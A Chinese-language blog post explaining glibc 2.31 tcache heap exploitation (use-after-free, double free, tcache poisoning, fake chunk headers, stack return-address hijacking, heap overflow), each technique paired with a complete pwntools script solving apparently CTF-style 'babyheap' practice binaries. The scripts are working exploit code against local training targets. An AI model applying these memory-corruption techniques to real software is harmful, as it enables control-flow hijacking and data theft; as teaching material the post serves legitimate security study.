glibc 2.31 常见利用手法 2

2025-03-01

1. tcache

tcachebin的大小在0x20~0x408之间。

1.1 uaf(use after free)

常用的 tcache uaf是指,分配一个内存A,由ptr指向;释放后ptr并没有置空;此时分配内存时再利用又分配了内存A,往其中写入机密信息;此时可皆由ptr来读出机密信息

from pwn import *
context.os = 'linux'
context.arch = 'amd64'
context.log_level = 'debug'

binary_path = "./babyheap_level2.1"
libc_path = "./libc.so.6"

p = process(binary_path)


def malloc(size):
    p.recvuntil(b"[*] Function (malloc/free/puts/read_flag/quit): ")
    p.sendline(b"malloc")
    p.recvuntil(b"Size: ")
    p.sendline(str(size).encode())
    return

def free():
    p.recvuntil(b"[*] Function (malloc/free/puts/read_flag/quit): ")
    p.sendline(b"free")
    return

def read_flag():
    p.recvuntil(b"[*] Function (malloc/free/puts/read_flag/quit): ")
    p.sendline(b"read_flag")
    return

def puts():
    p.recvuntil(b"[*] Function (malloc/free/puts/read_flag/quit): ")
    p.sendline(b"puts")
    return

read_flag()
p.recvuntil(b"[*] flag_buffer = ")
chunk_addr1 = int(p.recvline().strip(b"\n"),16)
log.success(f"chunk_size:{hex(chunk_addr1)}")
read_flag()
p.recvuntil(b"[*] flag_buffer = ")
chunk_addr2 = int(p.recvline().strip(b"\n"),16)
log.success(f"chunk_size:{hex(chunk_addr2)}")

chunk_size = chunk_addr2 - chunk_addr1 -0x10
malloc(chunk_size)
free()
read_flag()
puts()#uaf

p.interactive()

1.2 double free

tcache double free要想成功实施,首先需要有一个uaf漏洞,让你在释放内存A后,仍然可以往A写内容,改变其第8~16字节的值。

from pwn import *
context.log_level = 'debug'
context.os = 'linux'
context.arch = 'amd64'

binary_path = "./babyheap_level4.1"
libc_path = "./libc.so.6"

p = process(binary_path)

def malloc(size):
    p.recvuntil(b"[*] Function (malloc/free/puts/scanf/read_flag/quit): ")
    p.sendline(b"malloc")
    p.recvuntil(b"Size: ")
    p.sendline(str(size).encode())
    return

def free():
    p.recvuntil(b"[*] Function (malloc/free/puts/scanf/read_flag/quit): ")
    p.sendline(b"free")
    return

def read_flag():
    p.recvuntil(b"[*] Function (malloc/free/puts/scanf/read_flag/quit): ")
    p.sendline(b"read_flag")
    return

def puts():
    p.recvuntil(b"[*] Function (malloc/free/puts/scanf/read_flag/quit): ")
    p.sendline(b"puts")
    return

def scanf(string):
    p.recvuntil(b"[*] Function (malloc/free/puts/scanf/read_flag/quit): ")
    p.sendline(b"scanf")
    # p.recvuntil(b"allocations")
    p.sendline(string)
    return

malloc(0x2FA)
free()
scanf(b"a"*16) # uaf
free() # double free
read_flag()
puts()
p.interactive()

1.3 tcache poisoning

tcache poisoning 的核心思想是 改变tcache bin中的链表结构,比如 a->b,修改后变为a->c

from pwn import *
context.log_level = 'debug'
context.os = 'linux'
context.arch = 'amd64'

binary_path = "./babyheap_level7.0"
libc_path = "./libc.so.6"

p = process(binary_path,env={"LD_PRELOAD":libc_path})

def malloc(idx,size):
    p.recvuntil(b"[*] Function (malloc/free/puts/scanf/send_flag/quit): ")
    p.sendline(b"malloc")
    p.recvuntil(b"Index: ")
    p.sendline(str(idx).encode())
    p.recvuntil(b"Size: ")
    p.sendline(str(size).encode())
    return

def free(idx):
    p.recvuntil(b"[*] Function (malloc/free/puts/scanf/send_flag/quit): ")
    p.sendline(b"free")
    p.recvuntil(b"Index: ")
    p.sendline(str(idx).encode())
    return

def puts(idx):
    p.recvuntil(b"[*] Function (malloc/free/puts/scanf/send_flag/quit): ")
    p.sendline(b"puts")
    p.recvuntil(b"Index: ")
    p.sendline(str(idx).encode())
    return

def scanf(idx,content):
    p.recvuntil(b"[*] Function (malloc/free/puts/scanf/send_flag/quit): ")
    p.sendline(b"scanf")
    p.recvuntil(b"Index: ")
    p.sendline(str(idx).encode())
    p.sendline(content)
    return 

def send_flag(secret):
    p.recvuntil(b"[*] Function (malloc/free/puts/scanf/send_flag/quit): ")
    p.sendline(b"send_flag")
    p.recvuntil(b"Secret: ")
    p.sendline(secret)
    return

malloc(0,0x20)
malloc(1,0x20)
free(0) 
free(1)   # 1-> 0 
scanf(1,p64(0x425A51)) # uaf to achieve tcache_poisoning, now 1 -> 0x425a51
malloc(2,0x20)
malloc(3,0x20)
puts(3)
p.recvuntil(b"Data: ")
secret = p.recv(8)
log.info(f"secret: {secret}")
send_flag(secret+b"\x00"*8)  # malloc will cause chunk->key = 0

p.interactive()

1.3.1 whitespace armoring

如果你想要poison的最低字节地址中,有换行符、水平制表符等会隔绝scanf读入的值的话,可以考虑申请与你想申请的地址相近的其他地址绕过。
另外scanf(“%0s”,a)实际上等价于scanf(“%s”,a)

from pwn import *
context.log_level = 'debug'
context.os = 'linux'
context.arch = 'amd64'

binary_path = "./babyheap_level8.1"
libc_path = "./libc.so.6"

p = process(binary_path)

def malloc(idx,size):
    p.recvuntil(b"[*] Function (malloc/free/puts/scanf/send_flag/quit): ")
    p.sendline(b"malloc")
    p.recvuntil(b"Index: ")
    p.sendline(str(idx).encode())
    p.recvuntil(b"Size: ")
    p.sendline(str(size).encode())
    return

def free(idx):
    p.recvuntil(b"[*] Function (malloc/free/puts/scanf/send_flag/quit): ")
    p.sendline(b"free")
    p.recvuntil(b"Index: ")
    p.sendline(str(idx).encode())
    return

def puts(idx):
    p.recvuntil(b"[*] Function (malloc/free/puts/scanf/send_flag/quit): ")
    p.sendline(b"puts")
    p.recvuntil(b"Index: ")
    p.sendline(str(idx).encode())
    return

def scanf(idx,content):
    p.recvuntil(b"[*] Function (malloc/free/puts/scanf/send_flag/quit): ")
    p.sendline(b"scanf")
    p.recvuntil(b"Index: ")
    p.sendline(str(idx).encode())
    p.sendline(content)
    return 

def send_flag(secret):
    p.recvuntil(b"[*] Function (malloc/free/puts/scanf/send_flag/quit): ")
    p.sendline(b"send_flag")
    p.recvuntil(b"Secret: ")
    p.sendline(secret)
    return

malloc(0,0x20)
malloc(1,0x20)

free(0) 
free(1)   # 1-> 0 
scanf(1,p64(0x425808)) # uaf to achieve tcache_poisoning, now 1 -> 0x425808, but actually out destination is  0x42580a
malloc(2,0x20)
malloc(3,0x20)
scanf(3,b"a"*0x12) # overwrite values in chunk 
puts(3)
p.recvuntil(b"Data: ")
send_flag(b"a"*0x10)

p.interactive()

1.3.2 分配的内存地址限制

如果你遇到了限制,分配的地址必须满足某个条件,导致你无法将内存分配到你想要的地址上
但是,你仍然可以通过tcache poisoning的方式,将你想要修改的地址上的内容,借助malloc清空key的机制,设置为0


from pwn import *
context.log_level = 'debug'
context.os = 'linux'
context.arch = 'amd64'

binary_path = "./babyheap_level9.1"
libc_path = "./libc.so.6"

p = process(binary_path)

def malloc(idx,size):
    p.recvuntil(b"[*] Function (malloc/free/puts/scanf/send_flag/quit): ")
    p.sendline(b"malloc")
    p.recvuntil(b"Index: ")
    p.sendline(str(idx).encode())
    p.recvuntil(b"Size: ")
    p.sendline(str(size).encode())
    return

def free(idx):
    p.recvuntil(b"[*] Function (malloc/free/puts/scanf/send_flag/quit): ")
    p.sendline(b"free")
    p.recvuntil(b"Index: ")
    p.sendline(str(idx).encode())
    return

def puts(idx):
    p.recvuntil(b"[*] Function (malloc/free/puts/scanf/send_flag/quit): ")
    p.sendline(b"puts")
    p.recvuntil(b"Index: ")
    p.sendline(str(idx).encode())
    return

def scanf(idx,content):
    p.recvuntil(b"[*] Function (malloc/free/puts/scanf/send_flag/quit): ")
    p.sendline(b"scanf")
    p.recvuntil(b"Index: ")
    p.sendline(str(idx).encode())
    p.sendline(content)
    return 

def send_flag(secret):
    p.recvuntil(b"[*] Function (malloc/free/puts/scanf/send_flag/quit): ")
    p.sendline(b"send_flag")
    p.recvuntil(b"Secret: ")
    p.sendline(secret)
    return

malloc(0,0x20)
malloc(1,0x20)
malloc(2,0x20)
malloc(3,0x20)

free(0) 
free(1)   # 1-> 0 
scanf(1,p64(0x428363)) # uaf to achieve tcache_poisoning, now 1 -> 0x428363
malloc(4,0x20)
malloc(5,0x20) # key(0x428363+0x8) = 0

free(2)
free(3) # 3-> 2
scanf(3,p64(0x428363-8))  # key(0x428363) = 0
malloc(6,0x20)
malloc(7,0x20)

send_flag(b"\x00"*0x10)

p.interactive()

1.3.3 已知程序基地址和stack地址,劫持控制流

核心思路是利用uaf,达成tcache poisoning,申请一块位于stack的堆块,修改程序的返回地址,达到劫持控制流的目的

from pwn import *
context.log_level = 'debug'
context.os = 'linux'
context.arch = 'amd64'

binary_path = "./babyheap_level10.0"
libc_path = "./libc.so.6"

p = process(binary_path)

def malloc(idx,size):
    p.recvuntil(b"[*] Function (malloc/free/puts/scanf/quit): ")
    p.sendline(b"malloc")
    p.recvuntil(b"Index: ")
    p.sendline(str(idx).encode())
    p.recvuntil(b"Size: ")
    p.sendline(str(size).encode())
    return

def free(idx):
    p.recvuntil(b"[*] Function (malloc/free/puts/scanf/quit): ")
    p.sendline(b"free")
    p.recvuntil(b"Index: ")
    p.sendline(str(idx).encode())
    return

def puts(idx):
    p.recvuntil(b"[*] Function (malloc/free/puts/scanf/quit): ")
    p.sendline(b"puts")
    p.recvuntil(b"Index: ")
    p.sendline(str(idx).encode())
    return

def scanf(idx,content):
    p.recvuntil(b"[*] Function (malloc/free/puts/scanf/quit): ")
    p.sendline(b"scanf")
    p.recvuntil(b"Index: ")
    p.sendline(str(idx).encode())
    p.sendline(content)
    return 

p.recvuntil(b"[LEAK] The local stack address of your allocations is at: ")
stack_address = int(p.recvline().strip(b".\n"),16)
log.info(f"stack_address: {hex(stack_address)}")
p.recvuntil(b"[LEAK] The address of main is at: ")
main_addr = int(p.recvline().strip(b".\n"),16)
log.info(f"main_addr: {hex(main_addr)}")
win_addr = main_addr -0x14FD + 0x1400
log.info(f"win_addr: {hex(win_addr)}")
alloc_addr = stack_address + 280 #pointer reference to where main return

malloc(0,0x20)
malloc(1,0x20)
free(0)
free(1) # 1-> 0
scanf(1,p64(alloc_addr))
malloc(2,0x20)
malloc(3,0x20) # get a chunk to main return 
log.info(f"alloc_addr: {hex(alloc_addr)}")
scanf(3,p64(win_addr))
p.sendline(b"quit")

p.interactive()

1.3.4 利用fork函数调用echo的机制,泄露地址信息

通过fork函数调用echo命令时,会申请一个内存块,里面分别存放了程序地址,栈地址,堆地址(部分),可以借助uaf泄露地址,劫持栈地址完成利用

from pwn import *
context.log_level = 'debug'
context.os = 'linux'
context.arch = 'amd64'

binary_path = "./babyheap_level11.0"
libc_path = "./libc.so.6"

p = process(binary_path)

def malloc(idx,size):
    p.recvuntil(b"[*] Function (malloc/free/echo/scanf/quit): ")
    p.sendline(b"malloc")
    p.recvuntil(b"Index: ")
    p.sendline(str(idx).encode())
    p.recvuntil(b"Size: ")
    p.sendline(str(size).encode())
    return

def free(idx):
    p.recvuntil(b"[*] Function (malloc/free/echo/scanf/quit): ")
    p.sendline(b"free")
    p.recvuntil(b"Index: ")
    p.sendline(str(idx).encode())
    return

def echo(idx,offset):
    p.recvuntil(b"[*] Function (malloc/free/echo/scanf/quit): ")
    p.sendline(b"echo")
    p.recvuntil(b"Index: ")
    p.sendline(str(idx).encode())
    p.recvuntil(b"Offset: ")
    p.sendline(str(offset).encode())
    return

def scanf(idx,content):
    p.recvuntil(b"[*] Function (malloc/free/echo/scanf/quit): ")
    p.sendline(b"scanf")
    p.recvuntil(b"Index: ")
    p.sendline(str(idx).encode())
    p.sendline(content)
    return 

malloc(0,0x20)
# gdb.attach(p,"set follow-fork-mode parent\nb *$rebase(0x22DA)")
# pause()
echo(0,0x30)
p.recvuntil(b"Data: ")
program_base = u64(p.recvline().strip(b"\n").ljust(8,b"\x00")) - 0x33f8
log.success(f"program_base: {hex(program_base)}")

echo(0,0x38)
p.recvuntil(b"Data: ")
stack_addr = u64(p.recvline().strip(b"\n").ljust(8,b"\x00")) + 374
log.success(f"stack_addr: {hex(stack_addr)}")

echo(0,0x40)
p.recvuntil(b"Data: ")
heap_base = u64(p.recvline().strip(b"\n").ljust(8,b"\x00")) -0x2f0
log.success(f"heap_base: {hex(heap_base)}")

malloc(1,0x20)
malloc(2,0x20)
free(1)
free(2) # 2-> 1
scanf(2,p64(stack_addr)) # 2 -> stack
malloc(3,0x20)
malloc(4,0x20)
scanf(4,p64(program_base+0x1B00))

p.sendline(b"quit")
p.interactive()

1.3.5 伪造chunk头来malloc任意地址

前提条件:泄露地址的前提下,我们能够写我们想要分配的内存地址的前0x8字节,我们就能通过伪造chunk->size,完成free,并malloc该地址

from pwn import *
context.log_level = 'debug'
context.os = 'linux'
context.arch = 'amd64'

binary_path = "./babyheap_level14.0"
libc_path = "./libc.so.6"

p = process(binary_path)

def malloc(idx,size):
    p.recvuntil(b"[*] Function (malloc/free/echo/scanf/stack_free/stack_scanf/quit): ")
    p.sendline(b"malloc")
    p.recvuntil(b"Index: ")
    p.sendline(str(idx).encode())
    p.recvuntil(b"Size: ")
    p.sendline(str(size).encode())
    return

def free(idx):
    p.recvuntil(b"[*] Function (malloc/free/echo/scanf/stack_free/stack_scanf/quit): ")
    p.sendline(b"free")
    p.recvuntil(b"Index: ")
    p.sendline(str(idx).encode())
    return

def echo(idx,offset):
    p.recvuntil(b"[*] Function (malloc/free/echo/scanf/stack_free/stack_scanf/quit): ")
    p.sendline(b"echo")
    p.recvuntil(b"Index: ")
    p.sendline(str(idx).encode())
    p.recvuntil(b"Offset: ")
    p.sendline(str(offset).encode())
    return


def scanf(idx,content):
    p.recvuntil(b"[*] Function (malloc/free/echo/scanf/stack_free/stack_scanf/quit): ")
    p.sendline(b"scanf")
    p.recvuntil(b"Index: ")
    p.sendline(str(idx).encode())
    p.sendline(content)
    return 

def stack_free():
    p.recvuntil(b"[*] Function (malloc/free/echo/scanf/stack_free/stack_scanf/quit): ")
    p.sendline(b"stack_free")
    return

def stack_scanf(content):
    p.recvuntil(b"[*] Function (malloc/free/echo/scanf/stack_free/stack_scanf/quit): ")
    p.sendline(b"stack_scanf")
    p.sendline(content)
    return
malloc(0,0x20)

# get  program_base
echo(0,0x30)
p.recvuntil(b"Data: ")
program_base = u64(p.recvline().strip(b"\n").ljust(8,b"\x00")) - 0x33f8

# get heap_base
echo(0,0x40)
p.recvuntil(b"Data: ")
heap_base = u64(p.recvline().strip(b"\n").ljust(8,b"\x00")) -0x2f0

# get stack_addr
stack_scanf(b"a"*56+p64(0x100)) # construct a fake chunk in stack
stack_free() 
malloc(1,0xf0)
echo(1,0x40)
p.recvuntil(b"Data: ")
stack_addr = u64(p.recvline().strip(b"\n").ljust(8,b"\x00")) - 0xe8

# gdb.attach(p,"set follow-fork-mode parent\nb *$rebase(0x2267)\n")
# pause()
# uaf -> tcache poisoning
malloc(2,0xf0)
malloc(3,0xf0)
free(2)
free(3) # 3->2
scanf(3,p64(stack_addr))

log.success(f"program_base: {hex(program_base)}")
log.success(f"heap_base: {hex(heap_base)}")
log.success(f"stack_addr: {hex(stack_addr)}")
win_addr = program_base + 0x1A22
malloc(4,0xf0)
malloc(5,0xf0)
scanf(5,p64(win_addr))
p.sendline(b"quit")

p.interactive()

1.3.6 heap overflow实现tcache poisoning

heap overflow,从上一个chunk A能够修改下一个chunk B的值,如果下一个chunk B处在free状态且next指针指向C,可以通过修改B的next指针,达成poisoning操作。

from pwn import *
context.log_level = 'debug'
context.os = 'linux'
context.arch = 'amd64'

binary_path = "./babyheap_level15.1"
libc_path = "./libc.so.6"

p = process(binary_path)

def malloc(idx,size):
    p.recvuntil(b"[*] Function (malloc/free/echo/read/quit): ")
    p.sendline(b"malloc")
    p.recvuntil(b"Index: ")
    p.sendline(str(idx).encode())
    p.recvuntil(b"Size: ")
    p.sendline(str(size).encode())
    return

def free(idx):
    p.recvuntil(b"[*] Function (malloc/free/echo/read/quit): ")
    p.sendline(b"free")
    p.recvuntil(b"Index: ")
    p.sendline(str(idx).encode())
    return

def echo(idx,offset):
    p.recvuntil(b"[*] Function (malloc/free/echo/read/quit): ")
    p.sendline(b"echo")
    p.recvuntil(b"Index: ")
    p.sendline(str(idx).encode())
    p.recvuntil(b"Offset: ")
    p.sendline(str(offset).encode())
    return


def read(idx,size,content):
    p.recvuntil(b"[*] Function (malloc/free/echo/read/quit): ")
    p.sendline(b"read")
    p.recvuntil(b"Index: ")
    p.sendline(str(idx).encode())
    p.recvuntil(b"Size: ")
    p.sendline(str(size).encode())  
    sleep(0.1)  
    p.send(content)
    return 

# get program_base
malloc(0,0x20)
echo(0,0x30)
p.recvuntil(b"Data: ")
program_base = u64(p.recvline().strip(b"\n").ljust(8,b"\x00")) - 0x2110

# get stack_addr 
echo(0,0x38)
p.recvuntil(b"Data: ")
stack_addr = u64(p.recvline().strip(b"\n").ljust(8,b"\x00")) + 0x176

# get heap_base 
echo(0,0x40)
p.recvuntil(b"Data: ")
heap_base = u64(p.recvline().strip(b"\n").ljust(8,b"\x00")) -0x2d0

log.success(f"program_base: {hex(program_base)}")
log.success(f"heap_base: {hex(heap_base)}")
log.success(f"stack_addr: {hex(stack_addr)}")

# gdb.attach(p,"set follow-fork-mode parent\nb *$rebase(0x1B0A)\n")
# pause()

# heap_overflow -> tcache poisoning
malloc(1,0x20)
malloc(2,0x20)
malloc(3,0x20)
free(3)
free(2) # 2-> 3  
read(1,0x38,b"\x00"*0x28+p64(0x31)+p64(stack_addr)) # heap_overflow change 2->next 



malloc(4,0x20)
malloc(5,0x20)
win_addr = 0x1400 + program_base
read(5,0x8,p64(win_addr))

p.sendline(b"quit")
p.interactive()

Gitalk 加载中 ...